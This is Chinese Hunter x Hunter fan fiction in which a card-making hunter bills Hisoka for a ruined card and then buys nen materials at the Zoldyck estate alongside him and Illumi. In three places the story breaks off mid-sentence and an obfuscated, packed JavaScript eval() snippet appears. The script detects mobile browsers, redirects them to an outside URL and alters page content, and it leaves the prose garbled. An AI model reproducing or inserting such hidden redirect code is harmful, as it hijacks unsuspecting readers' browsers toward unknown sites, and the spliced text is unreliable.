《西索快跑,你债主追来了!》 1. 天价残骸与主理人 深夜十一点,迦勒工作室的空气里悬浮着特种油墨与旧纸张混合的独特香气。 工作台上,六盏可调角度专业灯投下冷白色的光,照亮了摊开的十七种样本材料。迦勒·冯·卡佩尔正俯身检视最新到货的“泪晶矿”粉末——那是一种产自萨黑尔塔合众国极北矿脉的稀有结晶,在特定光照下会折射出星屑般的微光。她戴着无菌手套的左手稳稳托着培养皿,右手指尖捻起一小撮粉末,凑到鼻尖前轻嗅。 “湿度偏高百分之三,”她低声自语,暗金色的虹膜在灯光下流转过一瞬微弱光泽,“得用C-7型干燥剂预处理八小时。” 她的动作精准如手术——放下培养皿,抽出一张米色实验记录卡,用特制的防水笔快速记下批号、湿度指数和处理方案。笔尖划过卡纸时发出极轻的沙沙声,那是她最熟悉的、属于“创造进行时”的声音。 工作室约六十平米,被精心划分为三个区域:东侧是材料储存墙,上百个透明亚克力格子里陈列着从世界各地搜集来的纸张基底、矿物粉末、植物纤维和各类念力媒介物;西侧是加工台,摆放着各种精密仪器——液压冲压机、激光雕刻仪、多层复合热压机,以及她最宝贝的那台手摇式古董级纸牌切边器;中央则是她的设计区,此刻正摊开着三套不同风格的设计稿。 其中一套设计尤为引人注目:牌背图案是深蓝色的宇宙星云,用夜光油墨绘制,而牌面数字与花色则采用“负空间”设计,在黑暗中会浮现出银河漩涡般的微光。这套设计稿旁放着一小瓶虹彩贝壳研磨粉,标签上写着“星夜系列·最终调试”。 迦勒直起身,边按揉有些僵硬的脖颈,边走到工作台尽头的小型咖啡机旁,按下萃取键。等待咖啡滴落的间隙,她的目光扫过墙上挂着的一幅装裱起来的扑克牌——那是她五年前制作的第一套商业化作品“红心女王”,被一位收藏家以八百万戒尼拍下后,又赠回给她作为纪念。牌面右下角有收藏家的题字:“让纸张拥有灵魂的艺术”。 咖啡香与纸张气味混合。迦勒端起骨瓷杯,抿了一口黑咖啡,正准备回到工作台继续调试夜光油墨的配比—— 门铃响了。 不是访客门铃,是工作室外侧的“夜间快递专用通道”提示音。迦勒皱眉瞥了眼墙上的古董挂钟:十一点十七分。这个时间段的加急快递,通常意味着两件事:要么是客户有极度紧急的需求,要么是……售后来了。 她放下咖啡杯,左手状似随意地垂到腰侧——“无限牌匣”腰带上的金属牌盒扣微微发热,一张半透明的金色纸牌已悄然浮现在她指尖。这是她的习惯:无论何时,确保至少一张“基础牌”处于随时可激发的状态。 穿过两道隔音门,迦勒来到工作室前厅。这里布置得像一个高级画廊:墙面是深灰色吸音材料,展示柜里陈列着她最具代表性的作品系列,每套牌下方都有简洁的产品说明和材质介绍。唯一不和谐的是角落里的那个银色金属投递口——此刻正亮着红色的“已接收”指示灯。 投递口下方的托盘上,放着一个约手掌大小的黑色盒子。盒子表面没有任何寄件信息,只贴着一张纯白色的标签,上面用黑色马克笔画着一个歪歪扭扭的笑脸符号:)~ 迦勒的瞳孔微微收缩。 她认识这个标记。全猎人世界里会用这种既随意又挑衅的方式给她寄东西的,只有一个人。 西索!怎么又是你的售后! 指尖的金色纸牌消散成光点。她戴上搁在一旁的细框护目镜——镜片内置了显微观察和光谱分析功能——然后才用镊子夹起那个盒子,走向工作区的分析台。 盒子很轻,轻得有些不自然。迦勒将它放在分析台中央,打开顶部的环形照明灯。冷白光照亮盒体表面的细微划痕和……几粒混凝土碎屑。 “果然。”她轻哼一声。 镊子尖精准地挑开盒盖的卡扣。没有爆炸,没有毒雾,没有陷阱——这反而让她更加警惕。那个男人虽然疯狂,但在“游戏规则”内行事时,有种诡异的……礼节性。 盒盖开启的瞬间,一股混合了粉尘、念力残留和极微量血腥气的味道飘散出来。 迦勒的虹膜深处,暗金色流光开始自主流转——她的“评估模式”启动了。 盒子里垫着黑色的绒布,中央躺着一张扑克牌。 或者说,一张扑克牌的残骸。 那张黑桃A,牌体从中部呈放射状裂开,边缘扭曲变形,牌面上优雅的黑桃图案被一道狰狞的裂缝贯穿。最触目惊心的是:牌的三分之一部分,竟然嵌着一小块灰白色的混凝土碎块,碎块与纸牌的结合处还能看到钢筋的断茬。 迦勒面无表情地用镊子夹起这枚“残骸复合体”,移到高倍放大镜下。 灯光调至最亮。她的呼吸放缓,整个世界收缩到目镜中的那个微观领域。 “千年纸莎草的纤维层出现明显的剥离式断裂……第三层和第五层强化膜被暴力贯穿。”她低声分析,声音冷静得像在宣读尸检报告,“混凝土碎块的嵌入角度显示,牌体在承受冲击时处于高速旋转状态……嗯?” 她的视线聚焦在混凝土碎块的侧面——那里有一道极细的、光滑的切痕。 “先被‘凝’强化过的牌刃切开混凝土,然后在嵌入过程中承受反向冲击力导致结构崩溃……”迦勒的眉头越皱越紧,“瞬时冲击力估值……不低于七吨。作用时间小于零点三秒。” 没猜错的话,是某个人发现这张卡牌被暴力嵌在混凝土浇筑里拔不出来,又使用另一张卡牌切开墙壁把它“解救”出来… 她放下镊子,摘掉护目镜,闭上眼深深吸了口气。 再睁眼时,那双暗金色的眼眸已经完全被流光占据,仿佛熔化的黄金在其中流淌。她伸出右手,五指张开,掌心向上—— “价值评估。” 嗡。 空气中的念力开始震颤。一张半透明的金色清单在她掌心上方缓缓浮现,上面流淌着瀑布般的数据流: 【物品:定制扑克·黑桃A(残骸状态)】 【材质分析:千年纸莎草基底(已灭绝物种,黑市单价:85万戒尼/克)x3.2克;星陨铁粉末涂层(协会管制材料)x1.7克;幻彩水母粘合剂(安多尼拔沼泽特产)x0.8克……】 【工艺耗时:基础成型(42小时)+念力灌注(18小时)+表面处理(9小时)=69小时】 【精神损耗系数:1.3(客户为S级危险目标,需额外专注)】 【机会成本:同期可完成B级订单x2,预估收益:310万戒尼】 【情感价值损失:该牌为“幽影系列”首张成品,具纪念意义。附加系数:1.5】 数据流滚动三秒后,最终定格在一个数字上: 【总计应收款项:9,870,000戒尼】 迦勒盯着那个数字,嘴角缓缓、缓缓地勾起一个弧度。 那是属于顶级猎人与商人的、精准计算后的、带着危险美感的微笑。 某个不尊重艺术家作品的家伙,就惩罚他大出血一次好了。 迦勒低头,注意到盒子里还有一张便条。用两根手指拈起——便条纸是普通的便利店收据背面,字迹是用某种深红色液体写的(她不想深究那是什么),笔画张扬恣意: “手感不错,就是脆了点~下次多做点同样的,我拿去拆楼试试?” 末尾画着一个歪歪扭扭的黑桃符号,旁边还溅了几点干涸的……可能是血。 迦勒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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款项请于三十日内付清至以下账户。 期待您的下次光临。 ——迦勒·冯·卡佩尔 扑克艺术工作室·主理人」 她写完最后一个字,笔尖在句点处微妙地停顿,施加了一点额外的压力,让墨迹在那个位置略微晕开——这是她的态度,一种无声的强调。 接着,她从抽屉里取出专用的微型扫描仪,将账单和混凝土嵌着的牌残骸并排放在一起,调整角度,确保残骸上那些狰狞的裂痕在照片中清晰可见。闪光灯亮起的瞬间,黑桃A碎片表面反射出病态的光泽。 扫描、加密、上传。 她的手指在特制的加密通讯器上快速输入了一串长达六十四位的动态密钥,然后按下发送键。屏幕显示「传送至:加密信箱#04(代号:魔术师)——状态:发送成功」。 做完这一切,迦勒靠在椅背上,端起已经凉了的咖啡,抿了一口。苦涩的液体滑过喉咙,她的目光落在工作台上那套未完成的“星夜系列”设计稿上。 夜光油墨、虹彩粉末、可以折射七种光线的棱面切割方案……所有这些精致的设计,在那个男人手里,最终会不会也变成嵌在混凝土里的残骸? 她放下杯子,走到工作室那面巨大的落地窗前。 窗外是友客鑫的夜景,霓虹灯在远处勾勒出繁华的轮廓,而这片艺术区则保持着相对的静谧。玻璃映出她的身影:酒红衬衫,战斗辫,左眼角下方那颗用防水眼线笔点出的微小“黑桃”图案,在夜色中像是某种神秘的印记。 迦勒抬手,指尖轻轻触碰玻璃上自己的倒影,正好点在那颗黑桃上。她不免想起纸条上那个歪歪扭扭的黑桃。 “讨厌的家伙。”连带着这颗黑桃都可恶了起来。 窗外的城市灯火闪烁,像一副被无形之手洗开的、永无止境的牌局。 “嗯,得去找更硬的材料了。”她轻声说,声音融进工作室纸张与油墨的气味里,“硬到……连那个疯子都拆不掉的那种。” 2. 揍敌客拼团八折优惠 清晨六点四十七分,枯枯戮山脚下的雾气还未散尽。 迦勒站在揍敌客家族那扇闻名遐迩的黄泉之门两百米外的访客等候区,深灰色大理石地面上凝结着露水。她今天换掉了工作室那套随性的装束,穿着一件墨绿色的定制长风衣。 薄雾中,三毛——揍敌客家的看门犬——如山峦般的轮廓在百米外若隐若现,发出低沉的呼吸声。迦勒对此视若无睹,只是从风衣内侧袋中取出猎人执照和一份提前准备好的采购清单,递给面前穿着管家制服的中年男人。 “迦勒·冯·卡佩尔,职业猎人,执照编号HT-8847。”她的声音清晰而平静,“想采购贵府库存的A级念兽材料,清单已列明种类、数量和品质要求。” 管家接过执照和清单,目光在“死后的念兽·指甲”“龙蜥蜴的眼角膜”“哀嚎女妖的发丝”等条目上停留片刻,眉头微不可察地动了一下。 “这些材料……”管家斟酌着用词,“部分属于家族管制物品,需要向上级请示。” “理解。”迦勒点头,“我可以等。” 她的视线越过管家的肩膀,望向雾中那座巨大的门扉。作为猎人和商人,她很清楚揍敌客家做生意的规矩——只要价格合适,他们什么都能卖。而她这次带来的预算,足够让任何“管制”变成“可协商”。 等待的时间总是漫长。迦勒从风衣另一个内袋取出便携式电子记事本,开始用记录打发时间:“雾气PH值中性偏酸,可能受火山活动影响……门卫站位呈战术三角,暗处至少有三个监视点……三毛的呼吸频率每分钟十二次,处于警戒而非攻击状态……” 笔尖在屏幕上滑动,发出细微的沙沙声。 就在她记录到“等候区地面采用防滑处理,可能考虑过访客因恐惧跌倒的情况”时—— 一阵轻快的、走调的哼歌声从身后传来。 那曲调荒诞得像是某个童谣被拉长了调子又打乱了节拍。伴随着哼歌的,还有某种熟悉的、纸牌在指间翻转的“唰唰”声。 迦勒握着电子笔的手指停顿了一瞬。 她没回头,但暗金色的虹膜深处,流光开始自主流转。评估模式,半启动状态。 哼歌声越来越近,混杂着脚步声——不止一个人。还有另一种声音:纸张翻动的轻响,以及……某种液体滴落在地面的细微“啪嗒”声。 “呀~这不是我的供应商小姐吗?” 那声音带着惯有的、甜腻而危险的腔调,从迦勒左后方三米处传来。 迦勒缓缓转身。 雾气中走出两个人。 左边那位穿着标志性的小丑装——尽管此刻那套衣服上沾满了暗色的污渍,有些地方甚至被撕裂,露出下面苍白的皮肤。西索哼着歌,右手手指间一张纸牌正以令人眼花缭乱的速度翻转。牌面是红心Q,但原本鲜艳的红色图案上溅满了深褐色的斑点,边缘还黏着某种……肉屑? 他的左手垂在身侧,指尖正往下滴落着某种粘稠的液体。一滴,两滴,在灰色大理石地面上晕开小小的暗红色花。 “真巧呢~在这里都能遇见?”西索歪着头,那张涂着油彩的脸上露出夸张的笑容,“你是专门来等我的吗?” 迦勒的目光从他的脸,滑到他翻转的纸牌,再滑到他滴血的手指。她的表情没有任何波动,只是虹膜中的金色流光流转得稍微快了些。 “偶遇而已。”她的声音平稳得像在讨论天气,“你手上的血会污染卡牌的纯净度,影响念力传导效率。建议先洗手。” 她顿了顿,补充道:“还有,前几天发给你的账单信件,看了吗?” 西索翻牌的动作停了。那张沾满血污的红心Q被他夹在食指和中指之间,他抬起手,用牌面边缘轻轻点了点下巴——这个动作让几滴血蹭到了他苍白的皮肤上。 “那么长的一封信~人家还以为是垃圾短信呢?”他眨眨眼,“还没来得及仔细看哦。” 迦勒看着他。 两秒。 三秒。 然后她做了一件让旁边那位管家都微微睁大眼睛的事——她从风衣内侧袋里,掏出了一台便携式POS机。 那机器通体黑色,大小约等于一本平装书,侧面有刷卡槽和指纹识别区。迦勒单手托着POS机,另一只手在上面快速输入了一串数字:9870000。 屏幕亮起幽蓝的光。 “没关系。”迦勒将POS机往前递了递,屏幕正对着西索,“现在就可以处理。支持刷卡、电子转账和念力绑定支付。需要分期的话,年利率百分之十八。” 空气凝固了三秒钟。 西索盯着那台POS机,脸上的笑容第一次出现了某种真实的、非表演性质的停顿。他微微张嘴,像是想说些什么,但最终只是发出了一声介于哼笑和叹息之间的声音。 “真是…敬业呢。” 他伸出那只干净些的右手,从腰间——不知道哪个位置——摸出了一张纯黑色的卡片。卡片边缘烫着暗金色的纹路,没有发卡行标识,只在中央嵌着一枚微芯片。 迦勒接过卡片,在POS机上划过。 嘀。 机器发出轻微的读卡声。屏幕上滚动过加密验证信息,然后跳出「请输入支付密码」的提示。 西索凑近,用沾血的手指在屏幕上按了六位数。他的动作很随意,但每个按键都精准无误。 「支付成功:9,870,000戒尼」 「剩余余额:********」 迦勒瞥了一眼那串被隐藏的余额位数,面不改色地收回POS机,从同一个口袋取出一张烫金收据,用便携笔快速签字,撕下客户联递给西索。 “这是收据,请收好。下次账单预计在十四天后发出,届时将包含‘星夜系列’的预付款项。” 西索接过收据,没有看,而是直接将它折成了一只歪歪扭扭的纸飞机。他对着纸飞机吹了口气,然后轻轻一掷—— 纸飞机在空中划过一道弧线,精准地飞进了三十米外的一个垃圾桶。 “好了~债还清了?”西索拍了拍手,像是完成了一件微不足道的小事,“那现在可以告诉我,你来这里做什么了吗?总不会是专程来收账的吧~” 就在这时,一直站在西索旁边、被迦勒刻意忽略的另一个人开口了。 “是来下委托的吧?你们有想杀的人吗?” 那声音平直、缺乏起伏,像电子合成音。迦勒这才将视线移过去。 高挑的身材,漆黑的长直发,空洞的黑色眼眸,以及那张精致却毫无表情的脸——伊路米·揍敌客。他穿着一身便于行动的黑色劲装,右手拿着手机,左手提着一个银色的金属手提箱。箱体侧面有一道新鲜的划痕,正在往外渗着某种透明的冷却液。 伊路米完全无视了刚才的收账戏码,只是用那双黑洞般的眼睛看着迦勒,又看看西索,然后重复了一遍问题: “目前有促销活动。两个人拼团下单,可享原价八折优惠。如果目标难度在B级以上,还能叠加‘首次合作折扣’。”他顿了顿,补充道,“现在下单的话,我可以亲自执行,保证效率。尸体处理服务另计,但今天有套餐优惠。” 迦勒沉默了。 她看看西索——他正饶有兴致地观察着她的反应,像是等着看戏。 她看看伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046695|194751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路米——对方已经不知从哪里掏出了一本印刷精美的价目表手册,正准备翻开。 她又看看旁边那位管家——对方正眼观鼻鼻观心,仿佛什么都没听到。 迦勒深吸一口气,脸上重新浮现出那种商业化的、完美的微笑。她先对伊路米点了点头: “感谢推荐,但我目前的主营业务是非致命领域。杀戮服务暂时不在我的采购清单内。” 然后她转向管家,语气自然得仿佛刚才那段对话从未发生: “另外,关于材料采购的事——我想补充一点。”她的目光扫过西索还在滴血的手指,“这位先生身上可能携带生物污染物。如果进入贵府内部,建议收取额外的地毯清洁费和空气净化费。费用可以从我的采购款中扣除,当然,记在他的账上也可以。” 管家:“……” 西索:“噗。” 伊路米合上了价目表,但并没有收起,而是认真地看着迦勒:“你确定不考虑吗?你们两个看起来关系不错,拼团的话折扣力度很大。而且……”他的视线在西索和迦勒之间移动,“如果以后反目成仇想杀对方,现在预付订单可以锁定当前价格。未来二十年不涨价。” 这一次,连迦勒都花了三秒钟来消化这段话。 “不了,谢谢。”她维持着微笑,“我还是先处理材料采购的事。” 管家终于找回了自己的声音:“请稍等,我需要请示——” 话音未落,黄泉之门的侧边,一扇不起眼的小门悄无声息地滑开了。一位穿着更高阶管家制服的老者走了出来,目光直接落在迦勒身上。 “迦勒女士,您的采购申请已初步批准。请随我进入会客室详谈具体清单和价格。”老管家的声音温和而有礼,“至于这两位……”他看了看西索和伊路米,“伊路米少爷,家主请您去书房汇报。西索先生,您预订的‘战后清洁及医疗服务’已准备就绪,请往左侧通道。” 分道扬镳的时刻到了。 但西索在转身前,突然又凑近迦勒一步。他身上那股混合了血腥、硝烟和某种甜腻香水的气味扑面而来。 “供应商小姐要进去谈生意?”他的声音压得很低,热气几乎喷到迦勒的耳廓,“带我一起嘛~我对‘高级定制扑克原材料’也很感兴趣哦?” 迦勒不动声色地后退半步:“这是商业机密。” “那我付咨询费?”西索眨眨眼,“或者……用情报换?比如哪种材料最耐‘伸缩自如的爱’的拉伸测试~” 迦勒盯着他,不知为何有种挥拳的冲动。她的虹膜中金色流光流转,一次深呼吸后稳定下来。 “跟上来可以。”她最终说,“但如果你弄脏任何一件样品,或者干扰谈判——” “就再加一笔清洁费?”西索接话,笑容灿烂。 “不。”迦勒转身,墨绿色风衣下摆划出一道利落的弧线,内衬上华丽的扑克暗纹一闪而逝,“我会在你下次订的牌里,掺入让你打喷嚏的粉末。每洗一次牌,打一个喷嚏。” 西索愣了一瞬,然后爆发出真正愉悦的大笑。 “可以哟?!” 一旁,伊路米已经掏出了手机,手指在计算器界面快速敲击:“陪同进入管制区的非家族人员,需收取‘临时访客担保费’……按小时计费,不足一小时按一小时计算……另外,如果发生战斗导致设施损坏,赔偿系数为……” 他的声音渐行渐远,三人跟着老管家,走进了那扇通往揍敌客家族内部的小门。 雾气在他们身后缓缓合拢。 黄泉之门静静矗立,仿佛刚才那场荒诞的“拼团促销”“现场收账”和“清洁费谈判”从未发生过。 3. 念具专家的执着 揍敌客家族的内部与外界想象的不同。 没有阴森的刑具陈列,没有血淋淋的装饰品,甚至没有太多“杀手世家”应有的肃杀氛围。迦勒跟随老管家穿行的走廊宽阔明亮,墙壁是温润的米白色石材,地面铺着深色实木地板,每隔十米就有一盏设计简约的壁灯。如果不是偶尔经过的门扉上刻着微小的揍敌客家徽——那是一个简约的侧脸轮廓——这里更像某个古老财团的私宅。 “请在这里稍等,材料库管理员正在调取您清单上的物品。”老管家推开一扇双开木门,侧身示意。 门后是一间偏厅,面积大约四十平米,装修风格延续了走廊的简洁。房间不大,约二十平米。中央是一张椭圆形的会议桌,桌面是整块的黑色曜石,光可鉴人。四周墙壁没有窗户,只有柔和的嵌顶灯提供照明。房间一角摆着一套看起来就很昂贵的茶具,但迦勒的注意力完全不在那里。 因为房间另一侧,整面墙都是透明的冷藏陈列柜。 柜内分层陈列着各种“材料样本”。每一个样本都放在独立的透明容器内,容器下方有电子标签滚动显示详细信息。迦勒甚至不需要开启她的“评估模式”,仅凭肉眼就能辨认出几种只在猎人协会SS级资料库里见过的稀有物: 最上层左数第三个容器里,泡在淡蓝色液体中的是一截“虚空鳐”的尾骨,表面天然形成螺旋状念力回路;中间层右数第二个,悬浮在真空中的是三片“熔岩巨龟”的背甲碎片,每片都流淌着暗红色的微光;下层…… “迦勒女士,这是您清单上部分材料的实体样本。”老管家走到陈列柜旁,手指在柜侧的控制面板上轻点几下,“请您确认品质。剩余部分正在从深层冷库调取,大约需要二十分钟。” 三个冷藏格无声滑出。每个格子里都放着银色的托盘,托盘上是用念力场固定的材料样本。 迦勒上前一步。 她先是扫了一眼托盘侧面的检测报告,然后从风衣内袋取出那副细框护目镜戴上。镜腿与太阳穴接触的瞬间,内置的分析系统自动启动,镜片内侧开始浮现数据流。 第一个托盘:三枚“死后的念兽·指甲”。 每枚指甲约手掌长,呈暗金色,表面有天然形成的螺旋纹路。迦勒用镊子夹起一枚,移到护目镜的放大模式下观察。 “角质层厚度2.7毫米……纹路密度每平方毫米87条……”她低声自语,“念力残留检测……嗯,是‘恐惧’属性的念。死亡瞬间的强烈情绪被固化在结构里了。” 她放下指甲,指尖无意识地开始在空中虚划——这是她思考时的习惯动作,仿佛在触摸无形的设计图。 “恐惧念属会赋予念具‘威慑’特性,但可能干扰精细操作。”迦勒的眉头微皱,“需要设计一个‘情绪过滤器’涂层,把恐惧属性转换成……” “转换成什么?” 声音从门口传来。 迦勒头也没回,继续观察第二枚指甲的横截面:“转换成‘专注力增幅’。恐惧的本质是对威胁的警觉,如果剥离负面情绪,只保留‘高度警觉’的状态特性……” 她说到一半,突然停住了。 因为她意识到,问出那个问题的声音,既不是老管家平和的男中音,也不是伊路米那种平直的电子音。 而是某个甜腻的、带着戏谑腔调的声音。 迦勒缓缓转身。 “西索先生,你的清洁治疗这么快就结束了?” 西索已经换了一套干净的小丑装——同样是红黑配色,但花纹略有不同。他斜倚在门框上,湿漉漉的头发说明他刚洗过澡,身上那股血腥味被一种甜腻的香水味取代。他双手插在裤袋里,脸上重新画好了油彩,看起来就像刚从马戏团下班,而不是刚完成一场屠杀。 “只是简单的清洗和伤口缝合啦~”他晃悠着走进来,很自然地在迦勒对面的单人沙发上坐下,翘起二郎腿,“那些医生手法不错,就是话太多,一直在推荐什么‘全身保养套餐’。” 迦勒终于抬头瞥了他一眼:“你应该买一个。频繁受伤会缩短职业生涯,影响后续订单的持续性。” 西索笑了:“你在关心我?” “我在维护长期客户的稳定性。”迦勒低头。 西索没有接话,只是饶有兴致地看着她工作。他的视线在她专注的侧脸、灵巧的手指、以及那双流转着金色流光的眼睛之间移动。 第二个托盘里是“龙蜥蜴的眼角膜”——半透明的薄膜状物质,在灯光下折射出七彩的光晕。迦勒戴上一副全新的无菌手套,用特制的念力镊子轻轻展开一片角膜。 “这片眼角膜的透光性很好,但韧性不足……需要复合处理。” “这东西看起来……”西索眯起眼睛,“很脆?” “抗压强度每平方厘米1.2吨,抗剪切强度更高。”迦勒把角膜放回第二个托盘,“脆性确实是个问题,所以需要复合处理。” 她的指尖开始浮现极淡的金色念纹。那些纹路像活物般沿着她的手指蔓延,在她触碰角膜的瞬间,纹路与角膜表面产生了某种奇特现象——薄膜微微震颤,发出类似风铃的清脆鸣响。 “念记忆检测……”迦勒的虹膜完全被金色流光占据,“残留情绪是‘贪婪’。龙蜥蜴死前还在盯着财宝吗……有趣。这种属性如果利用得好,可以做出‘寻宝’功能的辅助念具。” 西索的视线从材料移到了迦勒的手上。 更准确地说,是移到了她指尖那些流转的金色念纹上。他的眼神变得专注,那种专注不是平时的戏谑或玩味,而是带着亢奋的探究欲。 “你在模拟它和你的念的适配性?”西索问。 “对。”迦勒没否认,“每种材料都有独特的‘念频’。如果材料频段和使用者的念频不匹配,轻则效果打折,重则反噬。”她顿了顿,补充道,“你的‘伸缩自如的爱’是变化系,频段偏向柔韧和粘性。而这些材料大部分是强化系或特质系的遗骸,频段偏硬、偏攻击性。” 西索挑眉:“所以?” “所以如果我用这些给你做牌,需要在中间加一层‘频段转换层’。”迦勒放下角膜,开始检查第三个托盘里的“哀嚎女妖的发丝”,“那会增加至少30%的制作成本,和15%的失败率。当然,费用也会相应增加。” 西索笑了起来,低低的轻笑从喉咙深处溢出。 “你还真是……时时刻刻不忘生意呢?” 就在这时,第三个托盘里的东西吸引了迦勒的全部注意。 打开盒盖,里面那是三根“哀嚎女妖的发丝”。每根都细如蛛丝,却散发着令人不安的灰白色微光。迦勒用念力镊子夹起一根,刚一接触,她的护目镜镜片内侧就爆发出红色的警告标识: 【检测到高强度怨念残留】 【危险等级:A】 【建议立即进行净化处理】 嗖。 一张纸牌从他指间飞出,精准地切过她手边的托盘中的密封盒。西索手指一勾,那缕银白色的发丝就像有生命般从缝隙中飘出,落在他掌心。 “这个看起来很有趣~”他用两根手指捻起发丝,对着光观察,“会自己动呢?” “那是哀嚎女妖的发丝,在念力场中会呈现拟生命活动。”迦勒的语气依然平静,但放下手中的镊子,“请放回去。它在未处理状态下接触皮肤,可能导致情绪紊乱。” “情绪紊乱?”西索眨眨眼,“比如?” “无缘无故地哭泣、暴怒、或者产生强烈的自杀冲动。”迦勒站起身,走到他面前,伸出手,“还给我。” 西索看着她摊开的手掌,又看看指尖那缕微微颤动的发丝。他忽然露出一个恶作剧般的笑容,将发丝轻轻搭在她掌心。 就在接触的瞬间,迦勒感觉到一股冰冷的悲伤顺着皮肤钻进来——并非自己的情绪,而是某种外来的、古老的哀伤。她的呼吸微微一滞,虹膜中的金色流光剧烈闪烁了一瞬。 但她没有缩手,而是用念力包裹住那缕发丝,将它重新封回密封盒。 “你看,”西索托着下巴,“你也没事嘛~” “我有念力防护,而且只接触了0.3秒。”迦勒坐回原位,重新拿起显微镜,“你如果握着它超过五秒,现在应该已经在哭了。” 西索歪着头想了想:“其实我有点好奇哭起来是什么感觉呢?” “建议不要尝试。”迦勒头也不抬,“如果你在战斗中突然情绪崩溃,我下一批订单的尾款可能就收不到了。” 西索哈哈大笑。笑声在安静的会客室里显得格外突兀。 “你比我想的有意思多了呢,供应商小姐?” 就在这时,门又开了。 伊路米走了进来。他已经换上了家居服——黑色的高领毛衣和长裤,长发松松地束在脑后。他手里拿着一份拼单项目采购合同。 他完全无视了房间里微妙的气氛,径直走到会议桌前,将合同放在迦勒面前。 “感谢您的推荐,伊路米先生。”她将合同推回去,“但我主营非致命业务。杀戮服务暂时不在我的考虑范围内。” “是吗。”伊路米没有收回合同,而是看向西索,“你呢?” “我现在没钱哦~”西索摊手,“刚付了九百万的账单,穷死了?” 伊路米点点头,像是接受了这个理由。但他没有离开,而是在桌边坐了下来:“那换个提案。迦勒女士,你对‘非致命但高利润’的业务感兴趣吗?” 迦勒的耳朵竖了起来:“比如?” “比如……为特定客户定制‘囚禁用束缚具’。”伊路米说,“揍敌客偶尔会接到需要活捉目标的委托。现有的束缚具要么不够牢固,要么会严重影响俘虏的健康状况,不利于后续审讯。如果你能设计出一种既牢固、又不会造成永久损伤、还能抑制念力的束缚具……” 迦勒的眼睛亮了。是真正的、看到新可能的亮光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046696|194751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的指尖又开始无意识地在空中虚划—— “材料可以用‘泣血藤的纤维’做基底,加入‘沉默水晶’粉末来抑制念力……”她低声自语,“结构设计参考扑克牌盒的折叠原理,平时可以压缩成卡牌大小,使用时展开……需要计算最大承压和疲劳寿命……” 伊路米安静地听着,然后从口袋里掏出了手机:“基础研发费用可以预付五千万戒尼。成品每个单价不低于三百万,首批订单至少二十个。接受的话,现在签意向书。” 迦勒看着他,又看看手机屏幕上已经调出的电子合同模板。 “……我需要详细的需求规格书。”她说。 “明天发给你。” “材料采购费用另计。” “可以,但要有明细账单。” “成交。” 两人握手。整个过程快得像一场闪电交易。 西索在对面看着,突然笑出声。 “什么?”迦勒看向他。 “没什么~”西索托着腮,“只是觉得,你们两个谈生意的样子……很像呢?” 迦勒和伊路米对视一眼。 “这是效率。”伊路米说。 “这是专业。”迦勒说。 然后两人同时转开视线,一个开始整理样品数据,一个开始起草合同补充条款。 又过了十分钟,材料库管理员送来了迦勒最终选定的三份样品:除了那片念兽指甲,还有“龙蜥蜴的眼角膜”(透明度极高,念力折射率优秀)和“哀嚎女妖的发丝”(具备声音记忆特性,可制作声控触发念具)。 迦勒逐一检查、测试、记录,最后在采购单上签下了自己的名字和猎人执照编号。 总金额:两亿八千万戒尼。 “材料会在三个工作日内送到您在友客鑫的指定地址。”老管家收走签好字的单据,“运输费用已包含在内,但保险需要额外购买。建议购买全额险,保费为总价的百分之五。” “买。”迦勒眼睛都不眨。 交易完成。迦勒收拾好自己的东西——护目镜、分析仪、电子记事本。她向管家和伊路米点头致意,然后转身朝门离开。 西索也跟着站起来。 两人一起走出偏厅,沿着来时的走廊往外走。走到接近出口时,西索突然拉了一下迦勒的袖子。 “供应商小姐~” “嗯?” “伸手。” 迦勒皱眉,但还是伸出了右手——戴着无菌手套的那只。 西索笑了:“另一只。” 迦勒看了他一眼,伸出左手。 西索从自己口袋里摸出一张扑克牌,放在她掌心。 那是一张普通的鬼牌(Joker)——至少看起来普通。但牌面沾着已经干涸的暗红色血迹,边缘还有些许焦痕。牌背上有一个歪歪扭扭的签名:S.S. “这是?”迦勒问。 “订金~?”西索眨眨眼,“下次订单的。就用今天买的那些材料做。” 迦勒盯着那张沾血的牌。她的指尖能感受到牌面上残留的念——狂暴的、兴奋的、属于战斗最激烈时刻的念。 “你不怕我拿它做坏事?”她问。 “比如?” “比如追踪你的位置。或者……反向解析你的念能力结构。” 西索又笑了,那笑容在走廊昏暗的光线下,显得既危险又迷人。 “如果你能做到的话,”他轻声说,“我会更开心的哦?” 说完,他转身,朝另一个方向的通道走去。 迦勒站在原地,看着他的背影消失在拐角。 她低头,看着掌心那张沾血的鬼牌。血迹已经发黑,在牌面的小丑图案上晕开,像是给小丑画上了一道狰狞的伤疤。 良久,她将牌收进风衣内袋。 然后她皱起眉头,用只有自己能听到的声音喃喃: “……真是个麻烦的客户。” 但当她走出揍敌客家的小门,重新踏入山脚的薄雾中时,她的手指不自觉地探入内袋,轻轻摩挲着那张牌粗糙的边缘。 而她的脑海中,已经开始构思: 如果用“死后的念兽指甲”做牌基,用“龙蜥蜴的眼角膜”做透光层,再在夹层里嵌入那根“哀嚎女妖的发丝”作为念力增幅回路…… 